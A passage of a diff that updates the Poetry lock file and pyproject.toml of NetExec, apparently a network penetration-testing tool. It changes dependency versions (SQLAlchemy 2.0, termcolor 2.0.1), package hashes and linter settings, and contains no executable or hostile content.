-    {file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4cb501d585aa74a0f86d0ea6263b9c5e1d1463f8f9071392477fd401bd3c7cc"},
-    {file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a7a66297e46f85a04d68981917c75723e377d2e0599d15fbe7a56abed5e2d75"},
-    {file = "SQLAlchemy-1.4.50-cp312-cp312-win32.whl", hash = "sha256:e86c920b7d362cfa078c8b40e7765cbc34efb44c1007d7557920be9ddf138ec7"},
-    {file = "SQLAlchemy-1.4.50-cp312-cp312-win_amd64.whl", hash = "sha256:6b3df20fbbcbcd1c1d43f49ccf3eefb370499088ca251ded632b8cbaee1d497d"},
-    {file = "SQLAlchemy-1.4.50-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:fb9adc4c6752d62c6078c107d23327aa3023ef737938d0135ece8ffb67d07030"},
-    {file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1db0221cb26d66294f4ca18c533e427211673ab86c1fbaca8d6d9ff78654293"},
-    {file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b7dbe6369677a2bea68fe9812c6e4bbca06ebfa4b5cde257b2b0bf208709131"},
-    {file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a9bddb60566dc45c57fd0a5e14dd2d9e5f106d2241e0a2dc0c1da144f9444516"},
-    {file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82dd4131d88395df7c318eeeef367ec768c2a6fe5bd69423f7720c4edb79473c"},
-    {file = "SQLAlchemy-1.4.50-cp36-cp36m-win32.whl", hash = "sha256:1b9c4359d3198f341480e57494471201e736de459452caaacf6faa1aca852bd8"},
-    {file = "SQLAlchemy-1.4.50-cp36-cp36m-win_amd64.whl", hash = "sha256:35e4520f7c33c77f2636a1e860e4f8cafaac84b0b44abe5de4c6c8890b6aaa6d"},
-    {file = "SQLAlchemy-1.4.50-cp37-cp37m-macosx_11_0_x86_64.whl", hash = "sha256:f5b1fb2943d13aba17795a770d22a2ec2214fc65cff46c487790192dda3a3ee7"},
-    {file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:273505fcad22e58cc67329cefab2e436006fc68e3c5423056ee0513e6523268a"},
-    {file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3257a6e09626d32b28a0c5b4f1a97bced585e319cfa90b417f9ab0f6145c33c"},
-    {file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d69738d582e3a24125f0c246ed8d712b03bd21e148268421e4a4d09c34f521a5"},
-    {file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:34e1c5d9cd3e6bf3d1ce56971c62a40c06bfc02861728f368dcfec8aeedb2814"},
-    {file = "SQLAlchemy-1.4.50-cp37-cp37m-win32.whl", hash = "sha256:7b4396452273aedda447e5aebe68077aa7516abf3b3f48408793e771d696f397"},
-    {file = "SQLAlchemy-1.4.50-cp37-cp37m-win_amd64.whl", hash = "sha256:752f9df3dddbacb5f42d8405b2d5885675a93501eb5f86b88f2e47a839cf6337"},
-    {file = "SQLAlchemy-1.4.50-cp38-cp38-macosx_11_0_x86_64.whl", hash = "sha256:35c7ed095a4b17dbc8813a2bfb38b5998318439da8e6db10a804df855e3a9e3a"},
-    {file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1fcee5a2c859eecb4ed179edac5ffbc7c84ab09a5420219078ccc6edda45436"},
-    {file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fbaf6643a604aa17e7a7afd74f665f9db882df5c297bdd86c38368f2c471f37d"},
-    {file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2e70e0673d7d12fa6cd363453a0d22dac0d9978500aa6b46aa96e22690a55eab"},
-    {file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b881ac07d15fb3e4f68c5a67aa5cdaf9eb8f09eb5545aaf4b0a5f5f4659be18"},
-    {file = "SQLAlchemy-1.4.50-cp38-cp38-win32.whl", hash = "sha256:8a219688297ee5e887a93ce4679c87a60da4a5ce62b7cb4ee03d47e9e767f558"},
-    {file = "SQLAlchemy-1.4.50-cp38-cp38-win_amd64.whl", hash = "sha256:a648770db002452703b729bdcf7d194e904aa4092b9a4d6ab185b48d13252f63"},
-    {file = "SQLAlchemy-1.4.50-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:4be4da121d297ce81e1ba745a0a0521c6cf8704634d7b520e350dce5964c71ac"},
-    {file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f6997da81114daef9203d30aabfa6b218a577fc2bd797c795c9c88c9eb78d49"},
-    {file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdb77e1789e7596b77fd48d99ec1d2108c3349abd20227eea0d48d3f8cf398d9"},
-    {file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:128a948bd40780667114b0297e2cc6d657b71effa942e0a368d8cc24293febb3"},
-    {file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2d526aeea1bd6a442abc7c9b4b00386fd70253b80d54a0930c0a216230a35be"},
-    {file = "SQLAlchemy-1.4.50-cp39-cp39-win32.whl", hash = "sha256:a7c9b9dca64036008962dd6b0d9fdab2dfdbf96c82f74dbd5d86006d8d24a30f"},
-    {file = "SQLAlchemy-1.4.50-cp39-cp39-win_amd64.whl", hash = "sha256:df200762efbd672f7621b253721644642ff04a6ff957236e0e2fe56d9ca34d2c"},
-    {file = "SQLAlchemy-1.4.50.tar.gz", hash = "sha256:3b97ddf509fc21e10b09403b5219b06c5b558b27fc2453150274fa4e70707dbf"},
+    {file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4344d059265cc8b1b1be351bfb88749294b87a8b2bbe21dfbe066c4199541ebd"},
+    {file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6f9e2e59cbcc6ba1488404aad43de005d05ca56e069477b33ff74e91b6319735"},
+    {file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84daa0a2055df9ca0f148a64fdde12ac635e30edbca80e87df9b3aaf419e144a"},
+    {file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc8b7dabe8e67c4832891a5d322cec6d44ef02f432b4588390017f5cec186a84"},
+    {file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:f5693145220517b5f42393e07a6898acdfe820e136c98663b971906120549da5"},
+    {file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:db854730a25db7c956423bb9fb4bdd1216c839a689bf9cc15fada0a7fb2f4570"},
+    {file = "SQLAlchemy-2.0.25-cp310-cp310-win32.whl", hash = "sha256:14a6f68e8fc96e5e8f5647ef6cda6250c780612a573d99e4d881581432ef1669"},
+    {file = "SQLAlchemy-2.0.25-cp310-cp310-win_amd64.whl", hash = "sha256:87f6e732bccd7dcf1741c00f1ecf33797383128bd1c90144ac8adc02cbb98643"},
+    {file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:342d365988ba88ada8af320d43df4e0b13a694dbd75951f537b2d5e4cb5cd002"},
+    {file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f37c0caf14b9e9b9e8f6dbc81bc56db06acb4363eba5a633167781a48ef036ed"},
+    {file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa9373708763ef46782d10e950b49d0235bfe58facebd76917d3f5cbf5971aed"},
+    {file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d24f571990c05f6b36a396218f251f3e0dda916e0c687ef6fdca5072743208f5"},
+    {file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:75432b5b14dc2fff43c50435e248b45c7cdadef73388e5610852b95280ffd0e9"},
+    {file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:884272dcd3ad97f47702965a0e902b540541890f468d24bd1d98bcfe41c3f018"},
+    {file = "SQLAlchemy-2.0.25-cp311-cp311-win32.whl", hash = "sha256:e607cdd99cbf9bb80391f54446b86e16eea6ad309361942bf88318bcd452363c"},
+    {file = "SQLAlchemy-2.0.25-cp311-cp311-win_amd64.whl", hash = "sha256:7d505815ac340568fd03f719446a589162d55c52f08abd77ba8964fbb7eb5b5f"},
+    {file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:0dacf67aee53b16f365c589ce72e766efaabd2b145f9de7c917777b575e3659d"},
+    {file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b801154027107461ee992ff4b5c09aa7cc6ec91ddfe50d02bca344918c3265c6"},
+    {file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59a21853f5daeb50412d459cfb13cb82c089ad4c04ec208cd14dddd99fc23b39"},
+    {file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:29049e2c299b5ace92cbed0c1610a7a236f3baf4c6b66eb9547c01179f638ec5"},
+    {file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b64b183d610b424a160b0d4d880995e935208fc043d0302dd29fee32d1ee3f95"},
+    {file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4f7a7d7fcc675d3d85fbf3b3828ecd5990b8d61bd6de3f1b260080b3beccf215"},
+    {file = "SQLAlchemy-2.0.25-cp312-cp312-win32.whl", hash = "sha256:cf18ff7fc9941b8fc23437cc3e68ed4ebeff3599eec6ef5eebf305f3d2e9a7c2"},
+    {file = "SQLAlchemy-2.0.25-cp312-cp312-win_amd64.whl", hash = "sha256:91f7d9d1c4dd1f4f6e092874c128c11165eafcf7c963128f79e28f8445de82d5"},
+    {file = "SQLAlchemy-2.0.25-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:bb209a73b8307f8fe4fe46f6ad5979649be01607f11af1eb94aa9e8a3aaf77f0"},
+    {file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:798f717ae7c806d67145f6ae94dc7c342d3222d3b9a311a784f371a4333212c7"},
+    {file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fdd402169aa00df3142149940b3bf9ce7dde075928c1886d9a1df63d4b8de62"},
+    {file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:0d3cab3076af2e4aa5693f89622bef7fa770c6fec967143e4da7508b3dceb9b9"},
+    {file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:74b080c897563f81062b74e44f5a72fa44c2b373741a9ade701d5f789a10ba23"},
+    {file = "SQLAlchemy-2.0.25-cp37-cp37m-win32.whl", hash = "sha256:87d91043ea0dc65ee583026cb18e1b458d8ec5fc0a93637126b5fc0bc3ea68c4"},
+    {file = "SQLAlchemy-2.0.25-cp37-cp37m-win_amd64.whl", hash = "sha256:75f99202324383d613ddd1f7455ac908dca9c2dd729ec8584c9541dd41822a2c"},
+    {file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:420362338681eec03f53467804541a854617faed7272fe71a1bfdb07336a381e"},
+    {file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c88f0c7dcc5f99bdb34b4fd9b69b93c89f893f454f40219fe923a3a2fd11625"},
+    {file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3be4987e3ee9d9a380b66393b77a4cd6d742480c951a1c56a23c335caca4ce3"},
+    {file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2a159111a0f58fb034c93eeba211b4141137ec4b0a6e75789ab7a3ef3c7e7e3"},
+    {file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8b8cb63d3ea63b29074dcd29da4dc6a97ad1349151f2d2949495418fd6e48db9"},
+    {file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:736ea78cd06de6c21ecba7416499e7236a22374561493b456a1f7ffbe3f6cdb4"},
+    {file = "SQLAlchemy-2.0.25-cp38-cp38-win32.whl", hash = "sha256:10331f129982a19df4284ceac6fe87353ca3ca6b4ca77ff7d697209ae0a5915e"},
+    {file = "SQLAlchemy-2.0.25-cp38-cp38-win_amd64.whl", hash = "sha256:c55731c116806836a5d678a70c84cb13f2cedba920212ba7dcad53260997666d"},
+    {file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:605b6b059f4b57b277f75ace81cc5bc6335efcbcc4ccb9066695e515dbdb3900"},
+    {file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:665f0a3954635b5b777a55111ababf44b4fc12b1f3ba0a435b602b6387ffd7cf"},
+    {file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecf6d4cda1f9f6cb0b45803a01ea7f034e2f1aed9475e883410812d9f9e3cfcf"},
+    {file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c51db269513917394faec5e5c00d6f83829742ba62e2ac4fa5c98d58be91662f"},
+    {file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:790f533fa5c8901a62b6fef5811d48980adeb2f51f1290ade8b5e7ba990ba3de"},
+    {file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1b1180cda6df7af84fe72e4530f192231b1f29a7496951db4ff38dac1687202d"},
+    {file = "SQLAlchemy-2.0.25-cp39-cp39-win32.whl", hash = "sha256:555651adbb503ac7f4cb35834c5e4ae0819aab2cd24857a123370764dc7d7e24"},
+    {file = "SQLAlchemy-2.0.25-cp39-cp39-win_amd64.whl", hash = "sha256:dc55990143cbd853a5d038c05e79284baedf3e299661389654551bd02a6a68d7"},
+    {file = "SQLAlchemy-2.0.25-py3-none-any.whl", hash = "sha256:a86b4240e67d4753dc3092d9511886795b3c2852abe599cffe108952f7af7ac3"},
+    {file = "SQLAlchemy-2.0.25.tar.gz", hash = "sha256:a2c69a7664fb2d54b8682dd774c3b54f67f84fa123cf84dda2a5f40dcaa04e08"},
 ]
 
 [package.dependencies]
-greenlet = {version = "!=0.4.17", markers = "python_version >= \"3\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"}
+greenlet = {version = "!=0.4.17", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""}
+typing-extensions = ">=4.6.0"
 
 [package.extras]
 aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"]
-aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"]
+aioodbc = ["aioodbc", "greenlet (!=0.4.17)"]
+aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"]
 asyncio = ["greenlet (!=0.4.17)"]
-asyncmy = ["asyncmy (>=0.2.3,!=0.2.4)", "greenlet (!=0.4.17)"]
-mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2)"]
+asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"]
+mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"]
 mssql = ["pyodbc"]
 mssql-pymssql = ["pymssql"]
 mssql-pyodbc = ["pyodbc"]
-mypy = ["mypy (>=0.910)", "sqlalchemy2-stubs"]
-mysql = ["mysqlclient (>=1.4.0)", "mysqlclient (>=1.4.0,<2)"]
+mypy = ["mypy (>=0.910)"]
+mysql = ["mysqlclient (>=1.4.0)"]
 mysql-connector = ["mysql-connector-python"]
-oracle = ["cx-oracle (>=7)", "cx-oracle (>=7,<8)"]
+oracle = ["cx_oracle (>=8)"]
+oracle-oracledb = ["oracledb (>=1.0.1)"]
 postgresql = ["psycopg2 (>=2.7)"]
 postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"]
-postgresql-pg8000 = ["pg8000 (>=1.16.6,!=1.29.0)"]
+postgresql-pg8000 = ["pg8000 (>=1.29.1)"]
+postgresql-psycopg = ["psycopg (>=3.0.7)"]
 postgresql-psycopg2binary = ["psycopg2-binary"]
 postgresql-psycopg2cffi = ["psycopg2cffi"]
-pymysql = ["pymysql", "pymysql (<1)"]
-sqlcipher = ["sqlcipher3-binary"]
+postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"]
+pymysql = ["pymysql"]
+sqlcipher = ["sqlcipher3_binary"]
 
 [[package]]
 name = "sspilib"
@@ -2166,14 +2142,18 @@ widechars = ["wcwidth"]
 
 [[package]]
 name = "termcolor"
-version = "1.1.0"
-description = "ANSII Color formatting for output in terminal."
+version = "2.0.1"
+description = "ANSI color formatting for output in terminal"
 optional = false
-python-versions = "*"
+python-versions = ">=3.7"
 files = [
-    {file = "termcolor-1.1.0.tar.gz", hash = "sha256:1d6d69ce66211143803fbc56652b41d73b4a400a2891d7bf7a1cdf4c02de613b"},
+    {file = "termcolor-2.0.1-py3-none-any.whl", hash = "sha256:7e597f9de8e001a3208c4132938597413b9da45382b6f1d150cff8d062b7aaa3"},
+    {file = "termcolor-2.0.1.tar.gz", hash = "sha256:6b2cf769e93364a2676e1de56a7c0cff2cf5bd07f37e9cc80b0dd6320ebfe388"},
 ]
 
+[package.extras]
+tests = ["pytest", "pytest-cov"]
+
 [[package]]
 name = "terminaltables"
 version = "3.1.10"
@@ -2196,17 +2176,6 @@ files = [
     {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"},
 ]
 
-[[package]]
-name = "tomlkit"
-version = "0.12.4"
-description = "Style preserving TOML library"
-optional = false
-python-versions = ">=3.7"
-files = [
-    {file = "tomlkit-0.12.4-py3-none-any.whl", hash = "sha256:5cd82d48a3dd89dee1f9d64420aa20ae65cfbd00668d6f094d7578a78efbb77b"},
-    {file = "tomlkit-0.12.4.tar.gz", hash = "sha256:7ca1cfc12232806517a8515047ba66a19369e71edf2439d0f5824f91032b6cc3"},
-]
-
 [[package]]
 name = "tqdm"
 version = "4.66.1"
@@ -2338,4 +2307,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
 [metadata]
 lock-version = "2.0"
 python-versions = "^3.8.0"
-content-hash = "ffe66257d6e590d72b96001cf9bc5c6b3633c867f4648fa713be12b3e3d1584e"
+content-hash = "0bbd6a14b3478776b71e58b674942a5053c24fd2f802cc45ccd968f205a80167"

pyproject.toml

@@ -1,132 +1,126 @@
-[tool.poetry]
-name = "netexec"
-version = "1.2.0"
-description = "The Network Execution tool"
-authors = [
-    "Marshall Hallenbeck <[email protected]>",
-    "Alexander Neff <[email protected]>",
-    "Thomas Seigneuret <[email protected]>"
-]
-readme = "README.md"
-homepage = "https://github.com/Pennyw0rth/NetExec"
-repository = "https://github.com/Pennyw0rth/NetExec"
-exclude = []
-include = [
-    "nxc/data/*",
-    "nxc/modules/*"
-]
-license = "BSD-2-Clause"
-classifiers = [
-    'Environment :: Console',
-    'License :: OSI Approved :: BSD License',
-    'Programming Language :: Python :: 3',
-    'Topic :: Security',
-]
-packages = [
-    { include = "nxc"}
-]
-
-[tool.poetry.scripts]
-nxc = 'nxc.netexec:main'
-netexec = 'nxc.netexec:main'
-NetExec = 'nxc.netexec:main'
-nxcdb = 'nxc.nxcdb:main'
-
-[tool.poetry.dependencies]
-python = "^3.8.0"
-aardwolf = "^0.2.8"
-aioconsole = "^0.6.2"
-aiosqlite = "^0.17.0"
-argcomplete = "^3.1.4"
-asyauth = ">=0.0.20"
-beautifulsoup4 = ">=4.11,<5"
-bloodhound = "^1.7.2"
-dploot = "^2.7.1"
-dsinternals = "^1.2.4"
-impacket =  { git = "https://github.com/fortra/impacket.git" }
-lsassy = ">=3.1.11"
-masky = "^0.2.0"
-minikerberos = "^0.4.1"
-msgpack = "^1.0.0"
-msldap = "^0.5.10"
-neo4j = "^5.0.0"
-paramiko = "^3.3.1"
-poetry-dynamic-versioning = "^1.2.0"
-pyasn1-modules = "^0.2.8"
-pylnk3 = "^0.4.2"
-pypsrp = "^0.8.1"
-pypykatz = "0.6.6"
-pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
-python-dateutil = ">=2.8.2"
-python-libnmap = "^0.7.3"
-requests = ">=2.27.1"
-rich = "^13.3.5"
-sqlalchemy = "^1.4.50"
-termcolor = "1.1.0"
-terminaltables = "^3.1.0"
-xmltodict = "^0.13.0"
-
-[tool.poetry.group.dev.dependencies]
-flake8 = "*"
-shiv = "*"
-pytest = "^7.2.2"
-ruff = "=0.0.292"
-
-[build-system]
-requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
-build-backend = "poetry_dynamic_versioning.backend"
-
-[tool.poetry-dynamic-versioning]
-enable = true
-pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
-format = "{base}+{commit}"
-
-[tool.ruff]
-# Ruff doesn't enable pycodestyle warnings (`W`) or
-# McCabe complexity (`C901`) by default.
-# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
-# Should tackle flake8-use-pathlib (PTH) at some point
-select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
-ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
-
-# Allow autofix for all enabled rules (when `--fix`) is provided.
-fixable = ["ALL"]
-unfixable = []
-
-# Exclude a variety of commonly ignored directories.
-exclude = [
-    ".bzr",
-    ".direnv",
-    ".eggs",
-    ".git",
-    ".git-rewrite",
-    ".hg",
-    ".mypy_cache",
-    ".nox",
-    ".pants.d",
-    ".pytype",
-    ".ruff_cache",
-    ".svn",
-    ".tox",
-    ".venv",
-    "__pypackages__",
-    "_build",
-    "buck-out",
-    "build",
-    "dist",
-    "node_modules",
-    "venv",
-]
-per-file-ignores = {}
-
-line-length = 65000
-
-# Allow unused variables when underscore-prefixed.
-dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
-
-target-version = "py37"
-
-[tool.ruff.flake8-quotes]
-docstring-quotes = "double"
-inline-quotes = "double"
-multiline-quotes = "double"
+[tool.poetry]
+name = "netexec"
+version = "1.1.0"
+description = "The Network Execution tool"
+authors = [
+    "Marshall Hallenbeck <[email protected]>",
+    "Alexander Neff <[email protected]>",
+    "Thomas Seigneuret <[email protected]>"
+]
+readme = "README.md"
+homepage = "https://github.com/Pennyw0rth/NetExec"
+repository = "https://github.com/Pennyw0rth/NetExec"
+exclude = []
+include = [
+    "nxc/data/*",
+    "nxc/modules/*"
+]
+license = "BSD-2-Clause"
+classifiers = [
+    'Environment :: Console',
+    'License :: OSI Approved :: BSD License',
+    'Programming Language :: Python :: 3',
+    'Topic :: Security',
+]
+packages = [
+    { include = "nxc"}
+]
+
+[tool.poetry.scripts]
+nxc = 'nxc.netexec:main'
+netexec = 'nxc.netexec:main'
+NetExec = 'nxc.netexec:main'
+nxcdb = 'nxc.nxcdb:main'
+
+[tool.poetry.dependencies]
+python = "^3.8.0"
+requests = ">=2.27.1"
+beautifulsoup4 = ">=4.11,<5"
+lsassy = ">=3.1.8"
+termcolor = "2.0.1"
+msgpack = "^1.0.0"
+neo4j = "^5.0.0"
+pylnk3 = "^0.4.2"
+pypsrp = "^0.8.1"
+paramiko = "^3.3.1"
+impacket =  { git = "https://github.com/Pennyw0rth/impacket.git", branch = "gkdi" }
+dsinternals = "^1.2.4"
+xmltodict = "^0.13.0"
+terminaltables = "^3.1.0"
+aioconsole = "^0.6.2"
+pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
+minikerberos = "^0.4.1"
+pypykatz = "^0.6.8"
+aardwolf = "^0.2.7"
+dploot = "^2.2.1"
+bloodhound = "^1.6.1"
+asyauth = "~0.0.14"
+masky = "^0.2.0"
+sqlalchemy = "^2.0.4"
+aiosqlite = "^0.19.0"
+pyasn1-modules = "^0.3.0"
+rich = "^13.3.5"
+python-libnmap = "^0.7.3"
+oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
+argcomplete = "^3.1.4"
+python-dateutil = ">=2.8.2"
+
+[tool.poetry.group.dev.dependencies]
+flake8 = "*"
+shiv = "*"
+pytest = "^7.2.2"
+ruff = "=0.0.292"
+
+[build-system]
+requires = ["poetry-core>=1.2.0"]
+build-backend = "poetry.core.masonry.api"
+
+[tool.ruff]
+# Ruff doesn't enable pycodestyle warnings (`W`) or
+# McCabe complexity (`C901`) by default.
+# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
+# Should tackle flake8-use-pathlib (PTH) at some point
+select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
+ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
+
+# Allow autofix for all enabled rules (when `--fix`) is provided.
+fixable = ["ALL"]
+unfixable = []
+
+# Exclude a variety of commonly ignored directories.
+exclude = [
+    ".bzr",
+    ".direnv",
+    ".eggs",
+    ".git",
+    ".git-rewrite",
+    ".hg",
+    ".mypy_cache",
+    ".nox",
+    ".pants.d",
+    ".pytype",
+    ".ruff_cache",
+    ".svn",
+    ".tox",
+    ".venv",
+    "__pypackages__",
+    "_build",
+    "buck-out",
+    "build",
+    "dist",
+    "node_modules",
+    "venv",
+]
+per-file-ignores = {}
+
+line-length = 65000
+
+# Allow unused variables when underscore-prefixed.
